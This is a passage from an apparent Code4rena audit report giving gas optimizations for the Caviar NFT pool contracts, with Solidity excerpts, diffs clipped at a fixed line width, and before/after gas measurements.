182:                     uint256 salePrice = outputAmount / sells
183:                     for (uint256 j = 0; j < sells[i].tokenIc
184:                         // get the royalty fee and recipient
185:                         (uint256 royaltyFee, address royalty
186:                             getRoyalty(sells[i].nft, sells[i
187:
188:                         if (royaltyFee > 0) {
189:                             // transfer the royalty fee to t
190:                             royaltyRecipient.safeTransferETH
191:                         }
192:                     }
193:                 }
194:             } else {
195:                 // execute the sell against a private pool
196:                 PrivatePool(sells[i].pool).sell(
197:                     sells[i].tokenIds, sells[i].tokenWeights
198:                 );
199:             }
200:         }
```

```
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..12218d6 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -157,33 +157,35 @@ contract EthRouter is ERC721TokenReceiver

         // loop through and execute the sells
         for (uint256 i = 0; i < sells.length; i++) {
+            Sell calldata _sell = sells[i];
+            uint256[] calldata _tokenIds = _sell.tokenIds;
             // transfer the NFTs into the router from the calle
-            for (uint256 j = 0; j < sells[i].tokenIds.length; j
-                ERC721(sells[i].nft).safeTransferFrom(msg.sende
+            for (uint256 j = 0; j < _tokenIds.length; j++) {
+                ERC721(_sell.nft).safeTransferFrom(msg.sender,
             }

             // approve the pair to transfer NFTs from the route
-            ERC721(sells[i].nft).setApprovalForAll(sells[i].poo
+            ERC721(_sell.nft).setApprovalForAll(_sell.pool, tru

-            if (sells[i].isPublicPool) {
+            if (_sell.isPublicPool) {
                 // exceute the sell against a public pool
```

```
-                 uint256 outputAmount = Pair(sells[i].pool).nftS
-                     sells[i].tokenIds,
+                 uint256 outputAmount = Pair(_sell.pool).nftSell
+                     _tokenIds,
                      0,
                      0,
-                     sells[i].publicPoolProofs,
+                     _sell.publicPoolProofs,
                      // ReservoirOracle.Message[] is the exact s
                      // decoded/encoded 1-to-1.
-                     abi.decode(abi.encode(sells[i].stolenNftPro
+                     abi.decode(abi.encode(_sell.stolenNftProofs
                  );

                  // pay the royalties if seller has opted-in
                  if (payRoyalties) {
-                     uint256 salePrice = outputAmount / sells[i]
-                     for (uint256 j = 0; j < sells[i].tokenIds.l
+                     uint256 salePrice = outputAmount / _tokenIc
+                     for (uint256 j = 0; j < _tokenIds.length; j
                          // get the royalty fee and recipient
                          (uint256 royaltyFee, address royaltyRec
-                             getRoyalty(sells[i].nft, sells[i].t
+                             getRoyalty(_sell.nft, _tokenIds[j],

                          if (royaltyFee > 0) {
                              // transfer the royalty fee to the
@@ -193,8 +195,8 @@ contract EthRouter is ERC721TokenReceiver {
                  }
              } else {
                  // execute the sell against a private pool
-                 PrivatePool(sells[i].pool).sell(
-                     sells[i].tokenIds, sells[i].tokenWeights, s
+                 PrivatePool(_sell.pool).sell(
+                     _tokenIds, _sell.tokenWeights, _sell.proof,
                  );
              }
          }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L261-L287

Cache calldata pointer for `changes[i]` and memory pointers for `changes[i].inputTokenIds` & `changes[i].outputTokenIds`

Gas Savings for `EthRouter.change`, obtained via protocol's tests: Avg 4314 gas

	Med	Max	Avg	# calls
Before	284857	298879	217295	4
After	279105	293127	212981	4

```
File: src/EthRouter.sol
261:         for (uint256 i = 0; i < changes.length; i++) {
262:             Change memory _change = changes[i];
263:
264:             // transfer NFTs from caller
265:             for (uint256 j = 0; j < changes[i].inputTokenIds
266:                 ERC721(_change.nft).safeTransferFrom(msg.ser
267:             }
268:
269:             // approve pair to transfer NFTs from router
270:             ERC721(_change.nft).setApprovalForAll(_change.po
271:
272:             // execute change
273:             PrivatePool(_change.pool).change{value: msg.valu
274:                 _change.inputTokenIds,
275:                 _change.inputTokenWeights,
276:                 _change.inputProof,
277:                 _change.stolenNftProofs,
278:                 _change.outputTokenIds,
279:                 _change.outputTokenWeights,
280:                 _change.outputProof
281:             );
282:
283:             // transfer NFTs to caller
284:             for (uint256 j = 0; j < changes[i].outputTokenIc
285:                 ERC721(_change.nft).safeTransferFrom(address
286:             }
287:         }
```

```
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..c63c2f8 100644
--- a/src/EthRouter.sol
```

```
+++ b/src/EthRouter.sol
@@ -259,11 +259,13 @@ contract EthRouter is ERC721TokenReceiver

         // loop through and execute the changes
         for (uint256 i = 0; i < changes.length; i++) {
-            Change memory _change = changes[i];
+            Change calldata _change = changes[i];
+            uint256[] memory _inputTokenIds = _change.inputToke
+            uint256[] memory _outputTokenIds = _change.outputTo

             // transfer NFTs from caller
-            for (uint256 j = 0; j < changes[i].inputTokenIds.le
-                ERC721(_change.nft).safeTransferFrom(msg.sender
+            for (uint256 j = 0; j < _inputTokenIds.length; j++)
+                ERC721(_change.nft).safeTransferFrom(msg.sender
             }

             // approve pair to transfer NFTs from router
@@ -271,18 +273,18 @@ contract EthRouter is ERC721TokenReceiver

             // execute change
             PrivatePool(_change.pool).change{value: msg.value}(
-                _change.inputTokenIds,
+                _inputTokenIds,
                 _change.inputTokenWeights,
                 _change.inputProof,
                 _change.stolenNftProofs,
-                _change.outputTokenIds,
+                _outputTokenIds,
                 _change.outputTokenWeights,
                 _change.outputProof
             );

             // transfer NFTs to caller
-            for (uint256 j = 0; j < changes[i].outputTokenIds.l
-                ERC721(_change.nft).safeTransferFrom(address(th
+            for (uint256 j = 0; j < _outputTokenIds.length; j++
+                ERC721(_change.nft).safeTransferFrom(address(th
             }
         }
```

[G-02] Use calldata instead of memory for function arguments that do not get mutated

When you specify a data location as `memory`, that value will be copied into memory. When you specify the location as `calldata`, the value will stay static within calldata. If the value is a large, complex type, using `memory` may result in extra memory expansion costs.

Note: We are able to change these instances from memory to calldata without causing a `stack too deep` error.

Total Instances: `4`

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L385-L393

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L459

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L661-L664

Gas Savings for `PrivatePool.change`, obtained via protocol's tests: Avg 1489 gas

	Med	Max	Avg	# calls
Before	116432	142008	82138	17
After	114756	139483	80649	17

Gas Savings for `PrivatePool.execute`, obtained via protocol's tests: Avg 340 gas

	Med	Max	Avg	# calls
Before	18340	36348	18890	6
After	17976	35939	18550	6

Note: `PrivatePool.sumWeightsAndValidateProof` is called by the functions below.

Gas Savings for `PrivatePool.buy`, obtained via protocol's tests: Avg 147 gas

	Med	Max	Avg	# calls
Before	74037	158864	70884	24
After	73887	158708	70737	24

Gas Savings for `PrivatePool.sell` *, obtained via protocol's tests: Avg 171 gas*

	Med	Max	Avg	# calls
Before	50139	170448	81969	25
After	49989	170256	81798	25

```
File: src/PrivatePool.sol
385:     function change(
386:         uint256[] memory inputTokenIds,
387:         uint256[] memory inputTokenWeights,
388:         MerkleMultiProof memory inputProof,
389:         IStolenNftOracle.Message[] memory stolenNftProofs,
390:         uint256[] memory outputTokenIds,

459:     function execute(address target, bytes memory data) publ

661:     function sumWeightsAndValidateProof(
662:         uint256[] memory tokenIds,
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..914dace 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -383,11 +383,11 @@ contract PrivatePool is ERC721TokenReceive
     /// @param outputTokenWeights The weights of the NFTs to re
     /// @param outputProof The merkle proof for the weights of
     function change(
-        uint256[] memory inputTokenIds,
+        uint256[] calldata inputTokenIds,
         uint256[] memory inputTokenWeights,
         MerkleMultiProof memory inputProof,
         IStolenNftOracle.Message[] memory stolenNftProofs,
-        uint256[] memory outputTokenIds,
+        uint256[] calldata outputTokenIds,
         uint256[] memory outputTokenWeights,
```

```
        MerkleMultiProof memory outputProof
    ) public payable returns (uint256 feeAmount, uint256 protoc
@@ -456,7 +456,7 @@ contract PrivatePool is ERC721TokenReceiver
     /// @param target The address of the target contract.
     /// @param data The data to send to the target contract.
     /// @return returnData The return data of the transaction.
-    function execute(address target, bytes memory data) public
+    function execute(address target, bytes calldata data) publi
         // call the target with the value and data
         (bool success, bytes memory returnData) = target.call{v

@@ -659,7 +659,7 @@ contract PrivatePool is ERC721TokenReceiver
     /// @param proof The merkle proof for the weights of each N
     /// @return sum The sum of the weights of each NFT.
     function sumWeightsAndValidateProof(
-        uint256[] memory tokenIds,
+        uint256[] calldata tokenIds,
         uint256[] memory tokenWeights,
         MerkleMultiProof memory proof
     ) public view returns (uint256) {
```

[G-03] State variables can be cached instead of re-reading them from storage

Caching of a state variable replaces each `Gwarmaccess (100 gas)` with a much cheaper stack read.

Note: Some view functions are included below since they are called within state mutating functions

Total Instances: `16`

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L742-L746

Cache `baseToken` to save 1 SLOAD

```
File: src/PrivatePool.sol
742:     function price() public view returns (uint256) {
743:         // ensure that the exponent is always to 18 decimals
```

```
744:         uint256 exponent = baseToken == address(0) ? 18 : (3
745:         return (virtualBaseTokenReserves * 10 ** exponent) /
746:     }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..2f747fc 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -741,7 +741,8 @@ contract PrivatePool is ERC721TokenReceiver
     /// @return price The price of the pool.
     function price() public view returns (uint256) {
         // ensure that the exponent is always to 18 decimals of
-        uint256 exponent = baseToken == address(0) ? 18 : (36 -
+        address _baseToken = baseToken;
+        uint256 exponent = _baseToken == address(0) ? 18 : (36
         return (virtualBaseTokenReserves * 10 ** exponent) / vi
     }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L731-L738

Cache `baseToken` to save 1 SLOAD

```
File: src/PrivatePool.sol
    function changeFeeQuote(uint256 inputAmount) public view ret
        // multiply the changeFee to get the fee per NFT (4 deci
        uint256 exponent = baseToken == address(0) ? 18 - 4 : EF
        uint256 feePerNft = changeFee * 10 ** exponent;

        feeAmount = inputAmount * feePerNft / 1e18;
        protocolFeeAmount = feeAmount * Factory(factory).protocc
    }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..aba824f 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -730,7 +730,8 @@ contract PrivatePool is ERC721TokenReceiver
     /// @return protocolFeeAmount The protocol fee amount.
```

```
    function changeFeeQuote(uint256 inputAmount) public view re
        // multiply the changeFee to get the fee per NFT (4 dec
-       uint256 exponent = baseToken == address(0) ? 18 - 4 : B
+       address _baseToken = baseToken;
+       uint256 exponent = _baseToken == address(0) ? 18 - 4 :
        uint256 feePerNft = changeFee * 10 ** exponent;

        feeAmount = inputAmount * feePerNft / 1e18;
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L661-L684

Cache `merkleRoot` to save 1 SLOAD

```
File: src/PrivatePool.sol
661:     function sumWeightsAndValidateProof(
662:         uint256[] memory tokenIds,
663:         uint256[] memory tokenWeights,
664:         MerkleMultiProof memory proof
665:     ) public view returns (uint256) {
666:         // if the merkle root is not set then set the weight
667:         if (merkleRoot == bytes32(0)) { // @audit: 1st sloac
668:             return tokenIds.length * 1e18;
669:         }
670:
671:         uint256 sum;
672:         bytes32[] memory leafs = new bytes32[](tokenIds.lenc
673:         for (uint256 i = 0; i < tokenIds.length; i++) {
674:             // create the leaf for the merkle proof
675:             leafs[i] = keccak256(bytes.concat(keccak256(abi.
676:
677:             // sum each token weight
678:             sum += tokenWeights[i];
679:         }
680:
681:         // validate that the weights are valid against the m
682:         if (!MerkleProofLib.verifyMultiProof(proof.proof, me
683:             revert InvalidMerkleProof();
684:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
```

```
index 75991e1..7385ea9 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -664,7 +664,8 @@ contract PrivatePool is ERC721TokenReceiver
         MerkleMultiProof memory proof
     ) public view returns (uint256) {
         // if the merkle root is not set then set the weight of
-        if (merkleRoot == bytes32(0)) {
+        bytes32 _merkleRoot = merkleRoot;
+        if (_merkleRoot == bytes32(0)) {
             return tokenIds.length * 1e18;
         }

@@ -679,7 +680,7 @@ contract PrivatePool is ERC721TokenReceiver
         }

         // validate that the weights are valid against the merk
-        if (!MerkleProofLib.verifyMultiProof(proof.proof, merkl
+        if (!MerkleProofLib.verifyMultiProof(proof.proof, _merk
             revert InvalidMerkleProof();
         }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L635-L651

Cache `baseToken` to save 2 SLOADs

```
File: src/PrivatePool.sol
635:         if (baseToken == address(0) && msg.value < fee) reve
636:
637:         // transfer the NFT to the borrower
638:         ERC721(token).safeTransferFrom(address(this), addres
639:
640:         // call the borrower
641:         bool success =
642:             receiver.onFlashLoan(msg.sender, token, tokenId,
643:
644:         // check that flashloan was successful
645:         if (!success) revert FlashLoanFailed();
646:
647:         // transfer the NFT from the borrower
648:         ERC721(token).safeTransferFrom(address(receiver), ad
649:
```

```
650:         // transfer the fee from the borrower
651:         if (baseToken != address(0)) ERC20(baseToken).transf
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..c8b3cc1 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -632,7 +632,8 @@ contract PrivatePool is ERC721TokenReceiver
         uint256 fee = flashFee(token, tokenId);

         // if base token is ETH then check that caller sent enc
-        if (baseToken == address(0) && msg.value < fee) revert
+        address _baseToken = baseToken;
+        if (_baseToken == address(0) && msg.value < fee) revert

         // transfer the NFT to the borrower
         ERC721(token).safeTransferFrom(address(this), address(r
@@ -648,7 +649,7 @@ contract PrivatePool is ERC721TokenReceiver
         ERC721(token).safeTransferFrom(address(receiver), addre

         // transfer the fee from the borrower
-        if (baseToken != address(0)) ERC20(baseToken).transferF
+        if (_baseToken != address(0)) ERC20(_baseToken).transfe

         return success;
     }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L489-L503

Cache `baseToken` to save 3 SLOADs

```
File: src/PrivatePool.sol
489:         if ((baseToken == address(0) && msg.value != baseTok
490:             revert InvalidEthAmount();
491:         }
492:
493:         // ~~~ Interactions ~~~ //
494:
495:         // transfer the nfts from the caller
496:         for (uint256 i = 0; i < tokenIds.length; i++) {
```

```
497:             ERC721(nft).safeTransferFrom(msg.sender, address
498:         }
499:
500:         if (baseToken != address(0)) { // @audit: 3rd sload
501:             // transfer the base tokens from the caller
502:             ERC20(baseToken).safeTransferFrom(msg.sender, ac
503:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..92349e1 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -486,7 +486,8 @@ contract PrivatePool is ERC721TokenReceiver

         // ensure the caller sent a valid amount of ETH if base
         // is not ETH
-        if ((baseToken == address(0) && msg.value != baseTokenA
+        address _baseToken = baseToken;
+        if ((_baseToken == address(0) && msg.value != baseToker
             revert InvalidEthAmount();
         }

@@ -497,9 +498,9 @@ contract PrivatePool is ERC721TokenReceiver
             ERC721(nft).safeTransferFrom(msg.sender, address(th
         }

-        if (baseToken != address(0)) {
+        if (_baseToken != address(0)) {
             // transfer the base tokens from the caller
-            ERC20(baseToken).safeTransferFrom(msg.sender, addre
+            ERC20(_baseToken).safeTransferFrom(msg.sender, addr
         }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L397-L426

Cache `baseToken` to save 3 SLOADs

```
File: src/PrivatePool.sol
397:         if (baseToken != address(0) && msg.value > 0) revert
...
```

```
421:         if (baseToken != address(0)) { // @audit: 2nd sload
422:             // transfer the fee amount of base tokens from t
423:             ERC20(baseToken).safeTransferFrom(msg.sender, ac
424:
425:             // if the protocol fee is non-zero then transfer
426:             if (protocolFeeAmount > 0) ERC20(baseToken).safe
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..912790f 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -394,7 +394,8 @@ contract PrivatePool is ERC721TokenReceiver
         // ~~~ Checks ~~~ //

         // check that the caller sent 0 ETH if base token is nc
-        if (baseToken != address(0) && msg.value > 0) revert Ir
+        address _baseToken = baseToken;
+        if (_baseToken != address(0) && msg.value > 0) revert I

         // check that NFTs are not stolen
         if (useStolenNftOracle) {
@@ -418,12 +419,12 @@ contract PrivatePool is ERC721TokenReceive

         // ~~~ Interactions ~~~ //

-        if (baseToken != address(0)) {
+        if (_baseToken != address(0)) {
             // transfer the fee amount of base tokens from the
-            ERC20(baseToken).safeTransferFrom(msg.sender, addre
+            ERC20(_baseToken).safeTransferFrom(msg.sender, addr

             // if the protocol fee is non-zero then transfer th
-            if (protocolFeeAmount > 0) ERC20(baseToken).safeTra
+            if (protocolFeeAmount > 0) ERC20(_baseToken).safeTr
         } else {
             // check that the caller sent enough ETH to cover t
             if (msg.value < feeAmount + protocolFeeAmount) reve
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L357-L369

Cache `baseToken` to save 2 SLOADs

```
File: src/PrivatePool.sol
357:         if (baseToken == address(0)) { // @audit: 1st sload
358:             // transfer ETH to the caller
359:             msg.sender.safeTransferETH(netOutputAmount);
360:
361:             // if the protocol fee is set then pay the proto
362:             if (protocolFeeAmount > 0) factory.safeTransferE
363:         } else {
364:             // transfer base tokens to the caller
365:             ERC20(baseToken).transfer(msg.sender, netOutputA
366:
367:             // if the protocol fee is set then pay the proto
368:             if (protocolFeeAmount > 0) ERC20(baseToken).safe
369:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..2511385 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -353,8 +353,9 @@ contract PrivatePool is ERC721TokenReceiver

         // subtract the royalty fee amount from the net output
         netOutputAmount -= royaltyFeeAmount;
-
-        if (baseToken == address(0)) {
+
+        address _baseToken = baseToken;
+        if (_baseToken == address(0)) {
             // transfer ETH to the caller
             msg.sender.safeTransferETH(netOutputAmount);

@@ -362,10 +363,10 @@ contract PrivatePool is ERC721TokenReceive
             if (protocolFeeAmount > 0) factory.safeTransferETH(
         } else {
             // transfer base tokens to the caller
-            ERC20(baseToken).transfer(msg.sender, netOutputAmou
+            ERC20(_baseToken).transfer(msg.sender, netOutputAmo

             // if the protocol fee is set then pay the protocol
-            if (protocolFeeAmount > 0) ERC20(baseToken).safeTra
+            if (protocolFeeAmount > 0) ERC20(_baseToken).safeTr
         }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L225-L259

Cache `baseToken` to save 3 SLOADs.

```
File: src/PrivatePool.sol
225:         if (baseToken != address(0) && msg.value > 0) revert
...
254:         if (baseToken != address(0)) { // @audit: 2nd sload
255:             // transfer the base token from the caller to th
256:             ERC20(baseToken).safeTransferFrom(msg.sender, ad
257:
258:             // if the protocol fee is set then pay the proto
259:             if (protocolFeeAmount > 0) ERC20(baseToken).safe
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..5cc3318 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -216,19 +216,22 @@ contract PrivatePool is ERC721TokenReceive
         // ~~~ Checks ~~~ //

         // calculate the sum of weights of the NFTs to buy
-        uint256 weightSum = sumWeightsAndValidateProof(tokenIds
+        address _baseToken = baseToken;
+        {
+            uint256 weightSum = sumWeightsAndValidateProof(toke

-        // calculate the required net input amount and fee amou
-        (netInputAmount, feeAmount, protocolFeeAmount) = buyQuo
+            // calculate the required net input amount and fee
+            (netInputAmount, feeAmount, protocolFeeAmount) = bu

-        // check that the caller sent 0 ETH if the base token i
-        if (baseToken != address(0) && msg.value > 0) revert In
+            // check that the caller sent 0 ETH if the base tok
+            if (_baseToken != address(0) && msg.value > 0) reve

-        // ~~~ Effects ~~~ //
+            // ~~~ Effects ~~~ //

-        // update the virtual reserves
```

```
-         virtualBaseTokenReserves += uint128(netInputAmount - fe
-         virtualNftReserves -= uint128(weightSum);
+             // update the virtual reserves
+             virtualBaseTokenReserves += uint128(netInputAmount
+             virtualNftReserves -= uint128(weightSum);
+         }

          // ~~~ Interactions ~~~ //

@@ -251,12 +254,12 @@ contract PrivatePool is ERC721TokenReceive
          // add the royalty fee amount to the net input aount
          netInputAmount += royaltyFeeAmount;

-         if (baseToken != address(0)) {
+         if (_baseToken != address(0)) {
              // transfer the base token from the caller to the c
-             ERC20(baseToken).safeTransferFrom(msg.sender, addre
+             ERC20(_baseToken).safeTransferFrom(msg.sender, addr

              // if the protocol fee is set then pay the protocol
-             if (protocolFeeAmount > 0) ERC20(baseToken).safeTra
+             if (protocolFeeAmount > 0) ERC20(_baseToken).safeTr
          } else {
              // check that the caller sent enough ETH to cover t
              if (msg.value < netInputAmount) revert InvalidEthAm
```

[G-04] Cache state variables outside of loop to avoid reading storage on every iteration

Reading from storage should always try to be avoided within loops. In the following instances, we are able to cache state variables outside of the loop to save a `Gwarmaccess (100 gas)` per loop iteration.

Note: Due to `stack too deep` errors, we will not be able to cache all the state variables read within the loops.

Total Instances: `6`

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L238-L271

Cache `payRoyalties` to avoid storage reads on each loop iteration

```
File: src/PrivatePool.sol
238:         for (uint256 i = 0; i < tokenIds.length; i++) {
239:             // transfer the NFT to the caller
240:             ERC721(nft).safeTransferFrom(address(this), msg.
241:
242:             if (payRoyalties) { // @audit 1st sload + on eve
...
271:         if (payRoyalties) { // @audit: 2nd sload
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..5d46070 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -216,30 +216,33 @@ contract PrivatePool is ERC721TokenReceive
         // ~~~ Checks ~~~ //

         // calculate the sum of weights of the NFTs to buy
-        uint256 weightSum = sumWeightsAndValidateProof(tokenIds
+        {
+            uint256 weightSum = sumWeightsAndValidateProof(toke

-        // calculate the required net input amount and fee amou
-        (netInputAmount, feeAmount, protocolFeeAmount) = buyQuo
+            // calculate the required net input amount and fee
+            (netInputAmount, feeAmount, protocolFeeAmount) = bu

-        // check that the caller sent 0 ETH if the base token i
-        if (baseToken != address(0) && msg.value > 0) revert Ir
+            // check that the caller sent 0 ETH if the base tok
+            if (baseToken != address(0) && msg.value > 0) rever

-        // ~~~ Effects ~~~ //
+            // ~~~ Effects ~~~ //

-        // update the virtual reserves
-        virtualBaseTokenReserves += uint128(netInputAmount - fe
-        virtualNftReserves -= uint128(weightSum);
+            // update the virtual reserves
+            virtualBaseTokenReserves += uint128(netInputAmount
+            virtualNftReserves -= uint128(weightSum);
+        }
```

```
        // ~~~ Interactions ~~~ //

        // calculate the sale price (assume it's the same for e
        uint256 salePrice = (netInputAmount - feeAmount - protc
        uint256 royaltyFeeAmount = 0;
+       bool _payRoyalties = payRoyalties;
        for (uint256 i = 0; i < tokenIds.length; i++) {
            // transfer the NFT to the caller
            ERC721(nft).safeTransferFrom(address(this), msg.ser

-           if (payRoyalties) {
+           if (_payRoyalties) {
                // get the royalty fee for the NFT
                (uint256 royaltyFee,) = _getRoyalty(tokenIds[i]

@@ -268,7 +271,7 @@ contract PrivatePool is ERC721TokenReceiver
            if (msg.value > netInputAmount) msg.sender.safeTrar
        }

-       if (payRoyalties) {
+       if (_payRoyalties) {
            for (uint256 i = 0; i < tokenIds.length; i++) {
                // get the royalty fee for the NFT
                (uint256 royaltyFee, address recipient) = _getF
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L238-L240

Cache `nft` to avoid storage reads on each loop iteration

```
File: src/PrivatePool.sol
238:        for (uint256 i = 0; i < tokenIds.length; i++) {
239:            // transfer the NFT to the caller
240:            ERC721(nft).safeTransferFrom(address(this), msg.
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..257beba 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -216,28 +216,31 @@ contract PrivatePool is ERC721TokenReceive
```

```
        // ~~~ Checks ~~~ //

        // calculate the sum of weights of the NFTs to buy
-       uint256 weightSum = sumWeightsAndValidateProof(tokenIds
+       {
+           uint256 weightSum = sumWeightsAndValidateProof(toke

-       // calculate the required net input amount and fee amou
-       (netInputAmount, feeAmount, protocolFeeAmount) = buyQuo
+           // calculate the required net input amount and fee
+           (netInputAmount, feeAmount, protocolFeeAmount) = bu

-       // check that the caller sent 0 ETH if the base token i
-       if (baseToken != address(0) && msg.value > 0) revert In
+           // check that the caller sent 0 ETH if the base tok
+           if (baseToken != address(0) && msg.value > 0) rever

-       // ~~~ Effects ~~~ //
+           // ~~~ Effects ~~~ //

-       // update the virtual reserves
-       virtualBaseTokenReserves += uint128(netInputAmount - fe
-       virtualNftReserves -= uint128(weightSum);
+           // update the virtual reserves
+           virtualBaseTokenReserves += uint128(netInputAmount
+           virtualNftReserves -= uint128(weightSum);
+       }

        // ~~~ Interactions ~~~ //

        // calculate the sale price (assume it's the same for e
        uint256 salePrice = (netInputAmount - feeAmount - proto
        uint256 royaltyFeeAmount = 0;
+       address _nft = nft;
        for (uint256 i = 0; i < tokenIds.length; i++) {
            // transfer the NFT to the caller
-           ERC721(nft).safeTransferFrom(address(this), msg.ser
+           ERC721(_nft).safeTransferFrom(address(this), msg.se
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L329-L333

Cache `payRoyalties` to avoid storage reads on each loop iteration

```
File: src/PrivatePool.sol
329:         for (uint256 i = 0; i < tokenIds.length; i++) {
330:             // transfer each nft from the caller
331:             ERC721(nft).safeTransferFrom(msg.sender, address
332:
333:             if (payRoyalties) { // @audit: sload on every it
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..a41a1f5 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -307,30 +307,33 @@ contract PrivatePool is ERC721TokenReceive
         // ~~~ Checks ~~~ //

         // calculate the sum of weights of the NFTs to sell
-        uint256 weightSum = sumWeightsAndValidateProof(tokenIds
+        {
+            uint256 weightSum = sumWeightsAndValidateProof(toke

-        // calculate the net output amount and fee amount
-        (netOutputAmount, feeAmount, protocolFeeAmount) = sellQ
+            // calculate the net output amount and fee amount
+            (netOutputAmount, feeAmount, protocolFeeAmount) = s

-        //  check the nfts are not stolen
-        if (useStolenNftOracle) {
-            IStolenNftOracle(stolenNftOracle).validateTokensAre
-        }
+            //  check the nfts are not stolen
+            if (useStolenNftOracle) {
+                IStolenNftOracle(stolenNftOracle).validateToker
+            }

-        // ~~~ Effects ~~~ //
+            // ~~~ Effects ~~~ //

-        // update the virtual reserves
-        virtualBaseTokenReserves -= uint128(netOutputAmount + p
-        virtualNftReserves += uint128(weightSum);
+            // update the virtual reserves
+            virtualBaseTokenReserves -= uint128(netOutputAmount
+            virtualNftReserves += uint128(weightSum);
+        }
```

```
        // ~~~ Interactions ~~~ //

        uint256 royaltyFeeAmount = 0;
+       bool _payRoyalties = payRoyalties;
        for (uint256 i = 0; i < tokenIds.length; i++) {
            // transfer each nft from the caller
            ERC721(nft).safeTransferFrom(msg.sender, address(th

-           if (payRoyalties) {
+           if (_payRoyalties) {
                // calculate the sale price (assume it's the sa
                uint256 salePrice = (netOutputAmount + feeAmour
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L329-L331

Cache `nft` to avoid storage reads on each loop iteration

```
File: src/PrivatePool.sol
329:         for (uint256 i = 0; i < tokenIds.length; i++) {
330:             // transfer each nft from the caller
331:             ERC721(nft).safeTransferFrom(msg.sender, address
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..70009e1 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -307,28 +307,31 @@ contract PrivatePool is ERC721TokenReceive
        // ~~~ Checks ~~~ //

        // calculate the sum of weights of the NFTs to sell
-       uint256 weightSum = sumWeightsAndValidateProof(tokenIds
+       {
+           uint256 weightSum = sumWeightsAndValidateProof(toke

-       // calculate the net output amount and fee amount
-       (netOutputAmount, feeAmount, protocolFeeAmount) = sellQ
+           // calculate the net output amount and fee amount
+           (netOutputAmount, feeAmount, protocolFeeAmount) = s

-       //  check the nfts are not stolen
```

```
-         if (useStolenNftOracle) {
-             IStolenNftOracle(stolenNftOracle).validateTokensAre
-         }
+             //  check the nfts are not stolen
+             if (useStolenNftOracle) {
+                 IStolenNftOracle(stolenNftOracle).validateToker
+             }

-         // ~~~ Effects ~~~ //
+             // ~~~ Effects ~~~ //

-         // update the virtual reserves
-         virtualBaseTokenReserves -= uint128(netOutputAmount + p
-         virtualNftReserves += uint128(weightSum);
+             // update the virtual reserves
+             virtualBaseTokenReserves -= uint128(netOutputAmount
+             virtualNftReserves += uint128(weightSum);
+         }

          // ~~~ Interactions ~~~ //

          uint256 royaltyFeeAmount = 0;
+         address _nft = nft;
          for (uint256 i = 0; i < tokenIds.length; i++) {
              // transfer each nft from the caller
-             ERC721(nft).safeTransferFrom(msg.sender, address(th
+             ERC721(_nft).safeTransferFrom(msg.sender, address(t
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L441-L448

Cache `nft` to avoid storage reads on each loop iteration

```
File: src/PrivatePool.sol
441:         for (uint256 i = 0; i < inputTokenIds.length; i++) {
442:             ERC721(nft).safeTransferFrom(msg.sender, address
443:         }
444:
445:         // transfer the output nfts to the caller
446:         for (uint256 i = 0; i < outputTokenIds.length; i++)
447:             ERC721(nft).safeTransferFrom(address(this), msg.
448:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..5e4e292 100644
--- a/src/PrivatePool.sol
